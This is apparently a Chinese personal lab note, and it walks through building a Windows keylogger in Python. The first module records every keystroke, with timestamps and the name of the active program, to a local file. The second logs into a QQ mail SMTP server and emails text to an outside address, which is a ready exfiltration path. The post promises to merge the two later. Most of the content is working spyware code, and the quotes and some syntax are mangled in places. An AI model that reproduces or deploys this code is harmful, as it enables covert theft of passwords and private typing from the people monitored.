键盘记录器
参考
《python:搞事情!键盘记录并截屏》,
地址https://baijiahao.baidu.com/s?id=1672705522702921685&wfr=spider&for=pc
《Python通过SMTP发送邮件总是验证失败》,
地址https://segmentfault.com/q/1010000003802498
前言
让人感到为难的,是找不到实验笔记。
虽然在服务器上搭建过hexo,但自从被误删之后,就习惯于在本地保存笔记。经历多次花费时间和心情的寻找之后,才会进化。
正文
键盘记录器是许多黑客入门的玩具。
实验环境:编程环境Python3.7.6。操作系统Windows 10 专业版。
原理
hook程序:本质是通过系统调用,把该程序挂入系统指令,hook程序可以截获特定消息,经过加工后重放或中止传递。
键盘hook:可以监控键盘操作。键盘hook,可以截获键盘消息,全局钩子可以捕获Win平台下任意窗口的键盘操作。
系统调用函数:键盘记录使用user32.dll创建SetWindowsExA()函数,将特定指针注册到Hook Chain中,记录到来的键盘消息,并完成其他函数操作(比如截屏)。
(1)键盘记录器-模块实现
# 键盘记录
from pynput.keyboard import Listener
from ctypes import *
from PIL import ImageGrab
import datetime
keyboard = Listener()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
获取进程名称
def get():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
executable = create_string_buffer(512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
windows_title = create_string_buffer(512)
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
return executable.value + windows_title.value
def press(key):
with open(‘D:\1\keyboard.txt’, ‘a+’) as f:
try:
f.write(str(datetime.datetime.now()) + “键盘输入:”)
f.write(str(key.char)+’- 当前使用程序:’)
f.write(str(get())+’\n’)
except AttributeError:
f.write(str(key)+’ ‘)
f.write(str(get())+’\n’)
if name == ‘main’:
# 键盘记录
with Listener(on_press=press) as listener:
listener.join()
运行效果:
(2)发送邮箱-模块实现
使用QQ邮箱自动登录并发送邮件,要开启QQ邮箱的SMTP服务,申请授权码。
import os
import sys
import smtplib
from smtplib import SMTP_SSL
from email.header import Header
from email.mime.text import MIMEText
def send():
smtp = SMTP_SSL(mailInfo[“hostname”])
smtp.set_debuglevel(1)
smtp.ehlo(mailInfo[“hostname”])
smtp.login(mailInfo[“username”], mailInfo[“password”])
msg = MIMEText(mailInfo[“mailtext”], “text”, mailInfo[“mailencoding”])
msg[“Subject”] = Header(mailInfo[“mailsubject”], mailInfo[“mailencoding”])
msg[“from”] = mailInfo[“from”]
msg[“to”] = mailInfo[“to”]
smtp.sendmail(mailInfo[“from”], mailInfo[“to”], msg.as_string())
smtp.quit()
if name == ‘main’:
mailInfo = {
“from”: “send_mail@qq.com”,
“to”: “accept_mail@163.com”,
“hostname”: “smtp.qq.com”,
“username”: “send_mail@qq.com”,
“password”: “SMTP授权码”,
“mailsubject”: “this is test”,
“mailtext”: text,
“mailencoding”: “utf-8”
}
send()
模块运行效果:
(3)模块合并
且听下回分解。